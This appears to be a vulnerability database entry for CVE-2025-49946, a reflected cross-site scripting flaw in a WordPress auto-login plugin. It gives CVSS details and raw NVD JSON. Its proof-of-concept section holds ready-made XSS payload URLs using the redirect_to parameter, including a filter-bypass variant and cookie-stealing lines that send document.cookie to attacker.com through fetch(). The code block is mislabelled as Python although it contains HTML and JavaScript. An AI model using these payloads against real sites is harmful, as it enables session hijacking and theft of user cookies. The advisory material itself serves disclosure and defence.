CVE-2025-49946

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cynob IT Consultancy Auto Login After Registration auto-login-after-registration allows Reflected XSS.This issue affects Auto Login After Registration: from n/a through <= 1.0.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Auto Login After Registration插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49946 PoC - Reflected XSS in Auto Login After Registration WordPress Plugin -->
<!-- This PoC demonstrates a reflected XSS vulnerability -->
<!-- Replace 'vulnerable-site.com' with the target website -->

<!-- Basic PoC URL -->
<!-- https://vulnerable-site.com/?redirect_to=<script>alert(document.domain)</script> -->

<!-- More advanced PoC for cookie stealing -->
<!-- https://vulnerable-site.com/?redirect_to=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> -->

<!-- PoC for iframe injection -->
<!-- https://vulnerable-site.com/?redirect_to=<iframe src="javascript:alert(document.cookie)"> -->

<!-- HTML encoded version to bypass some filters -->
<!-- https://vulnerable-site.com/?redirect_to=<img src=x onerror=alert(document.cookie)> -->

<!-- PoC implementation -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-49946 PoC</title>
</head>
<body>
    <h1>Reflected XSS PoC for CVE-2025-49946</h1>
    <p>Target: Auto Login After Registration Plugin <= 1.0.0</p>
    
    <script>
        // Generate malicious URL
        const targetUrl = 'https://vulnerable-site.com';
        const xssPayload = '<script>alert("XSS Vulnerability - CVE-2025-49946")</script>';
        const maliciousUrl = targetUrl + '?redirect_to=' + encodeURIComponent(xssPayload);
        
        // Display the malicious URL
        document.write('<p>Malicious URL:</p>');
        document.write('<a href="' + maliciousUrl + '">' + maliciousUrl + '</a>');
        
        // Cookie stealing payload
        const cookiePayload = '<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>';
        const stealUrl = targetUrl + '?redirect_to=' + encodeURIComponent(cookiePayload);
        
        console.log('Cookie stealing URL:', stealUrl);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49946
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49946
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49946/
[4] VulDB https://vuldb.com/cve/CVE-2025-49946
[5] https://patchstack.com/database/Wordpress/Plugin/auto-login-after-registration/vulnerability/wordpress-auto-login-after-registration-plugin-1-0-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49946", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.840", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cynob IT Consultancy Auto Login After Registration auto-login-after-registration allows Reflected XSS.This issue affects Auto Login After Registration: from n/a through <= 1.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/auto-login-after-registration/vulnerability/wordpress-auto-login-after-registration-plugin-1-0-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}